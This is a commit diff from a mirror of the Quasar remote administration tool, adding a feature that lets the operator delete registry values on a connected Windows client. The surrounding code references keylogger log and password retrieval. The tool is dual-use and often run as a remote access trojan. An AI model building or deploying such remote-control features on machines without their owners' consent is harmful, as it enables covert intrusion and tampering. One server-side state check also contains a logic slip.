mirror of https://github.com/quasar/Quasar.git
Added support for deleting registry values
This commit is contained in:
parent
a69ba3fc38
commit
295f1b28fe
|
@ -97,6 +97,7 @@
|
|||
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryValueResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
|
||||
|
@ -104,6 +105,7 @@
|
|||
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryValue.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryValue.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoLoadRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoRenameRegistryKey.cs" />
|
||||
|
|
|
@ -147,6 +147,26 @@ namespace xClient.Core.Commands
|
|||
responsePacket.Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleDeleteRegistryValue(xClient.Core.Packets.ServerPackets.DoDeleteRegistryValue packet, Client client)
|
||||
{
|
||||
xClient.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryValueResponse();
|
||||
string errorMsg = "";
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.ValueName = packet.ValueName;
|
||||
responsePacket.KeyPath = packet.KeyPath;
|
||||
|
||||
responsePacket.Execute(client);
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
|
|
|
@ -247,6 +247,26 @@ namespace xClient.Core.Extensions
|
|||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to delete a registry value for the key provided using the specified
|
||||
/// name.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the value is to be delete from.</param>
|
||||
/// <param name="name">The name of the value.</param>
|
||||
/// <returns>Returns a boolean value if the action succeded or failed.</returns>
|
||||
public static bool DeleteValueSafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
key.DeleteValue(name);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Find
|
||||
|
|
|
@ -62,6 +62,7 @@ namespace xClient.Core.Networking
|
|||
typeof (Packets.ServerPackets.DoDeleteRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoRenameRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoCreateRegistryValue),
|
||||
typeof (Packets.ServerPackets.DoDeleteRegistryValue),
|
||||
typeof (Packets.ServerPackets.SetAuthenticationSuccess),
|
||||
typeof (Packets.ClientPackets.GetAuthenticationResponse),
|
||||
typeof (Packets.ClientPackets.SetStatus),
|
||||
|
@ -83,6 +84,7 @@ namespace xClient.Core.Networking
|
|||
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
|
||||
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
|
||||
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
|
||||
typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyData),
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetDeleteRegistryValueResponse : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string ValueName { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetDeleteRegistryValueResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -144,6 +144,10 @@ namespace xClient.Core.Packets
|
|||
{
|
||||
CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoDeleteRegistryValue))
|
||||
{
|
||||
CommandHandler.HandleDeleteRegistryValue((ServerPackets.DoDeleteRegistryValue)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
|
||||
{
|
||||
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
|
||||
|
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoDeleteRegistryValue : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string ValueName { get; set; }
|
||||
|
||||
public DoDeleteRegistryValue(string keyPath, string valueName)
|
||||
{
|
||||
KeyPath = keyPath;
|
||||
ValueName = valueName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -6,7 +6,7 @@ using System.Text;
|
|||
namespace xClient.Core.Registry
|
||||
{
|
||||
[Serializable]
|
||||
public class RegValueData
|
||||
public class RegValueData : IEquatable<RegValueData>
|
||||
{
|
||||
public string Name { get; private set; }
|
||||
public string Type { get; private set; }
|
||||
|
@ -19,9 +19,24 @@ namespace xClient.Core.Registry
|
|||
Data = data;
|
||||
}
|
||||
|
||||
public override bool Equals(object obj)
|
||||
{
|
||||
if (obj != null && obj.GetType() == typeof(RegValueData))
|
||||
{
|
||||
return this.Equals((RegValueData)obj);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("({0}:{1}:{2})", Name, Type, Data);
|
||||
}
|
||||
|
||||
public bool Equals(RegValueData value)
|
||||
{
|
||||
return this.Name == value.Name;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -26,6 +26,8 @@ namespace xClient.Core.Registry
|
|||
|
||||
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
|
||||
|
||||
#endregion
|
||||
|
||||
#endregion
|
||||
|
@ -243,6 +245,54 @@ namespace xClient.Core.Registry
|
|||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to delete the desired registry value from the specified key.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The path to the key for which to delete the registry value on.</param>
|
||||
/// /// <param name="name">The name of the registry value to delete.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
||||
public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryKey parent = RegistrySeeker.GetWritableRegistryKey(keyPath);
|
||||
|
||||
//Invalid can not open parent
|
||||
if (parent == null)
|
||||
{
|
||||
errorMsg = "You do not have access to open registry: " + keyPath + ", try running as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value does not exist
|
||||
if (!parent.ContainsValue(name))
|
||||
{
|
||||
errorMsg = "The registry: " + name + " does not exist in: " + keyPath;
|
||||
//If value does not exists then the action has already succeded
|
||||
return true;
|
||||
}
|
||||
|
||||
bool success = parent.DeleteValueSafe(name);
|
||||
|
||||
//Value could not be deleted
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_VALUE_DELETE_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value was successfully deleted
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
|
|
|
@ -33,6 +33,7 @@ namespace xServer.Controls
|
|||
base(name)
|
||||
{
|
||||
RegName = name;
|
||||
this.Name = name;
|
||||
this.SubItems.Add(type);
|
||||
Type = type;
|
||||
this.SubItems.Add(data);
|
||||
|
|
|
@ -113,6 +113,26 @@ namespace xServer.Core.Commands
|
|||
catch { }
|
||||
}
|
||||
|
||||
public static void HandleDeleteRegistryValue(xServer.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
if (!packet.IsError)
|
||||
{
|
||||
client.Value.FrmRe.DeleteValueFromList(packet.KeyPath, packet.ValueName);
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
|
|
|
@ -109,6 +109,7 @@ namespace xServer.Core.Networking
|
|||
typeof (Packets.ServerPackets.DoDeleteRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoRenameRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoCreateRegistryValue),
|
||||
typeof (Packets.ServerPackets.DoDeleteRegistryValue),
|
||||
typeof (Packets.ServerPackets.SetAuthenticationSuccess),
|
||||
typeof (Packets.ClientPackets.GetAuthenticationResponse),
|
||||
typeof (Packets.ClientPackets.SetStatus),
|
||||
|
@ -130,6 +131,7 @@ namespace xServer.Core.Networking
|
|||
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
|
||||
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
|
||||
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
|
||||
typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyData),
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetDeleteRegistryValueResponse : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string ValueName { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetDeleteRegistryValueResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -86,6 +86,10 @@ namespace xServer.Core.Packets
|
|||
{
|
||||
CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetDeleteRegistryValueResponse))
|
||||
{
|
||||
CommandHandler.HandleDeleteRegistryValue((ClientPackets.GetDeleteRegistryValueResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetPasswordsResponse))
|
||||
{
|
||||
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);
|
||||
|
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoDeleteRegistryValue : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string ValueName { get; set; }
|
||||
|
||||
public DoDeleteRegistryValue(string keyPath, string valueName)
|
||||
{
|
||||
KeyPath = keyPath;
|
||||
ValueName = valueName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -6,7 +6,7 @@ using System.Text;
|
|||
namespace xServer.Core.Registry
|
||||
{
|
||||
[Serializable]
|
||||
public class RegValueData
|
||||
public class RegValueData : IEquatable<RegValueData>
|
||||
{
|
||||
public string Name { get; private set; }
|
||||
public string Type { get; private set; }
|
||||
|
@ -19,9 +19,24 @@ namespace xServer.Core.Registry
|
|||
Data = data;
|
||||
}
|
||||
|
||||
public override bool Equals(object obj)
|
||||
{
|
||||
if (obj != null && obj.GetType() == typeof(RegValueData))
|
||||
{
|
||||
return this.Equals((RegValueData)obj);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("({0}:{1}:{2})", Name, Type, Data);
|
||||
}
|
||||
|
||||
public bool Equals(RegValueData value)
|
||||
{
|
||||
return this.Name == value.Name;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -35,10 +35,6 @@ namespace xServer.Forms
|
|||
this.splitContainer = new System.Windows.Forms.SplitContainer();
|
||||
this.tvRegistryDirectory = new System.Windows.Forms.TreeView();
|
||||
this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components);
|
||||
this.lstRegistryKeys = new xServer.Controls.AeroListView();
|
||||
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components);
|
||||
this.statusStrip = new System.Windows.Forms.StatusStrip();
|
||||
this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
|
@ -71,6 +67,10 @@ namespace xServer.Forms
|
|||
this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.lstRegistryKeys = new xServer.Controls.AeroListView();
|
||||
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.tableLayoutPanel.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit();
|
||||
this.splitContainer.Panel1.SuspendLayout();
|
||||
|
@ -137,41 +137,6 @@ namespace xServer.Forms
|
|||
this.imageRegistryDirectoryList.TransparentColor = System.Drawing.Color.Transparent;
|
||||
this.imageRegistryDirectoryList.Images.SetKeyName(0, "folder.png");
|
||||
//
|
||||
// lstRegistryKeys
|
||||
//
|
||||
this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
|
||||
this.hName,
|
||||
this.hType,
|
||||
this.hValue});
|
||||
this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||
this.lstRegistryKeys.FullRowSelect = true;
|
||||
this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
|
||||
this.lstRegistryKeys.HideSelection = false;
|
||||
this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0);
|
||||
this.lstRegistryKeys.Name = "lstRegistryKeys";
|
||||
this.lstRegistryKeys.Size = new System.Drawing.Size(818, 664);
|
||||
this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList;
|
||||
this.lstRegistryKeys.Sorting = System.Windows.Forms.SortOrder.Descending;
|
||||
this.lstRegistryKeys.TabIndex = 0;
|
||||
this.lstRegistryKeys.UseCompatibleStateImageBehavior = false;
|
||||
this.lstRegistryKeys.View = System.Windows.Forms.View.Details;
|
||||
this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick);
|
||||
//
|
||||
// hName
|
||||
//
|
||||
this.hName.Text = "Name";
|
||||
this.hName.Width = 203;
|
||||
//
|
||||
// hType
|
||||
//
|
||||
this.hType.Text = "Type";
|
||||
this.hType.Width = 149;
|
||||
//
|
||||
// hValue
|
||||
//
|
||||
this.hValue.Text = "Value";
|
||||
this.hValue.Width = 384;
|
||||
//
|
||||
// imageRegistryKeyTypeList
|
||||
//
|
||||
this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream")));
|
||||
|
@ -303,7 +268,7 @@ namespace xServer.Forms
|
|||
this.deleteToolStripMenuItem1,
|
||||
this.renameToolStripMenuItem1});
|
||||
this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip";
|
||||
this.selectedItem_ContextMenuStrip.Size = new System.Drawing.Size(185, 98);
|
||||
this.selectedItem_ContextMenuStrip.Size = new System.Drawing.Size(185, 120);
|
||||
//
|
||||
// modifyToolStripMenuItem
|
||||
//
|
||||
|
@ -327,10 +292,10 @@ namespace xServer.Forms
|
|||
//
|
||||
// deleteToolStripMenuItem1
|
||||
//
|
||||
this.deleteToolStripMenuItem1.Enabled = false;
|
||||
this.deleteToolStripMenuItem1.Name = "deleteToolStripMenuItem1";
|
||||
this.deleteToolStripMenuItem1.Size = new System.Drawing.Size(184, 22);
|
||||
this.deleteToolStripMenuItem1.Text = "Delete";
|
||||
this.deleteToolStripMenuItem1.Click += new System.EventHandler(this.deleteRegistryValue_Click);
|
||||
//
|
||||
// renameToolStripMenuItem1
|
||||
//
|
||||
|
@ -415,6 +380,41 @@ namespace xServer.Forms
|
|||
this.expandableStringValueToolStripMenuItem1.Text = "Expandable String Value";
|
||||
this.expandableStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click);
|
||||
//
|
||||
// lstRegistryKeys
|
||||
//
|
||||
this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
|
||||
this.hName,
|
||||
this.hType,
|
||||
this.hValue});
|
||||
this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||
this.lstRegistryKeys.FullRowSelect = true;
|
||||
this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
|
||||
this.lstRegistryKeys.HideSelection = false;
|
||||
this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0);
|
||||
this.lstRegistryKeys.Name = "lstRegistryKeys";
|
||||
this.lstRegistryKeys.Size = new System.Drawing.Size(818, 664);
|
||||
this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList;
|
||||
this.lstRegistryKeys.Sorting = System.Windows.Forms.SortOrder.Descending;
|
||||
this.lstRegistryKeys.TabIndex = 0;
|
||||
this.lstRegistryKeys.UseCompatibleStateImageBehavior = false;
|
||||
this.lstRegistryKeys.View = System.Windows.Forms.View.Details;
|
||||
this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick);
|
||||
//
|
||||
// hName
|
||||
//
|
||||
this.hName.Text = "Name";
|
||||
this.hName.Width = 203;
|
||||
//
|
||||
// hType
|
||||
//
|
||||
this.hType.Text = "Type";
|
||||
this.hType.Width = 149;
|
||||
//
|
||||
// hValue
|
||||
//
|
||||
this.hValue.Text = "Value";
|
||||
this.hValue.Width = 384;
|
||||
//
|
||||
// FrmRegistryEditor
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||
|
|
|
@ -319,6 +319,38 @@ namespace xServer.Forms
|
|||
}
|
||||
}
|
||||
|
||||
public void DeleteValueFromList(string keyPath, string valueName)
|
||||
{
|
||||
TreeNode key = GetParentTreeNode(keyPath);
|
||||
|
||||
if (key != null)
|
||||
{
|
||||
lstRegistryKeys.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
List<RegValueData> ValuesFromNode = null;
|
||||
if (key.Tag != null)
|
||||
{
|
||||
if (key.Tag.GetType() == typeof(List<RegValueData>))
|
||||
{
|
||||
ValuesFromNode = (List<RegValueData>)key.Tag;
|
||||
ValuesFromNode.Remove(new RegValueData(valueName, null, null));
|
||||
}
|
||||
else { return; }
|
||||
}
|
||||
|
||||
if (tvRegistryDirectory.SelectedNode == key)
|
||||
{
|
||||
lstRegistryKeys.Items.RemoveByKey(valueName);
|
||||
}
|
||||
else
|
||||
{
|
||||
tvRegistryDirectory.SelectedNode = key;
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void UpdateLstRegistryKeys(TreeNode node)
|
||||
{
|
||||
selectedStripStatusLabel.Text = node.FullPath;
|
||||
|
@ -573,7 +605,28 @@ namespace xServer.Forms
|
|||
|
||||
#region Registry Value edit
|
||||
|
||||
private void deleteRegistryValue_Click(object sender, EventArgs e)
|
||||
{
|
||||
if(tvRegistryDirectory.SelectedNode != null) {
|
||||
|
||||
//Prompt user to confirm delete
|
||||
string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete this value?";
|
||||
string caption = "Confirm Value Delete";
|
||||
var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
|
||||
|
||||
if (answer == DialogResult.Yes)
|
||||
{
|
||||
foreach (var item in lstRegistryKeys.SelectedItems)
|
||||
{
|
||||
if (item.GetType() == typeof(RegistryValueLstItem))
|
||||
{
|
||||
RegistryValueLstItem registyValue = (RegistryValueLstItem)item;
|
||||
new xServer.Core.Packets.ServerPackets.DoDeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registyValue.RegName).Execute(_connectClient);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
|
|
|
@ -124,41 +124,41 @@
|
|||
<value>
|
||||
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
|
||||
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
|
||||
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
|
||||
BwAAAk1TRnQBSQFMAwEBAAG4AQEBuAEBARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
|
||||
AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA
|
||||
AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA
|
||||
AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm
|
||||
AwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIAATMB/wIAAWYDAAFmATMCAAJmAgABZgGZ
|
||||
AgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkCAAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFm
|
||||
AgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIAAf8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEz
|
||||
AQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMCAAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFm
|
||||
AgABMwFmATMBAAEzAmYBAAEzAWYBmQEAATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFm
|
||||
AQABMwKZAQABMwGZAcwBAAEzAZkB/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEA
|
||||
ATMBzAH/AQABMwH/ATMBAAEzAf8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFm
|
||||
AQABZgEAAWYBAAGZAQABZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFm
|
||||
ATMBzAEAAWYBMwH/AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFm
|
||||
AQABZgKZAQABZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEA
|
||||
AWYB/wIAAWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZ
|
||||
AQABmQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEz
|
||||
AQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQACmQH/
|
||||
AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZAf8BMwEA
|
||||
AZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQABzAEAAZkBAAHM
|
||||
AQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/AQABzAFmAgABzAFm
|
||||
ATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkBMwEAAcwBmQFmAQABzAKZ
|
||||
AQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPMAQACzAH/AQABzAH/AgABzAH/
|
||||
ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQABMwEAAf8BAAFmAQAB/wEAAZkBAAHM
|
||||
ATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJm
|
||||
AQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHM
|
||||
AQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFmAQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEA
|
||||
AcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQABZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEA
|
||||
ASEBAAGlAQADXwEAA3cBAAOGAQADlgEAA8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7
|
||||
Af8BAAGkAqABAAOAAwAB/wIAAf8DAAL/AQAB/wMAAf8BAAH/AQAC/wIAA/+CAAEaAZkLUgEaMgABdAEb
|
||||
ARoEmgV6AcMBUjIAAVIB9gGgApoDegRZAcMBUjIAAVIB9gHDAaACmgN6A1kBwwFSMgABUgH2AsMCoAGa
|
||||
A3oCWQHDAVIyAAFSAv8D9gHDApoDegHDAVIyAAFSAfYCmgF6ARsG9gH/AVgyAAFYAfYDmgJ6ApoDegH2
|
||||
AVgyAAFYAfYDmgEaBvYB/wF5MgABWAX/AfYEeQKZARsyAAd5B//xAAFCAU0BPgcAAT4DAAEoAwABQAMA
|
||||
ARADAAEBAQABAQUAAYAXAAP/AQAC/wYAAv8GAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGA
|
||||
AQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAL/BgAC/wYAAv8GAAs=
|
||||
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADk
|
||||
BwAAAk1TRnQBSQFMAwECAAECAQABAgEQAQABEAEABP8BCQEACP8BQgFNATYBBAYAATYBBAIAASgDAAFA
|
||||
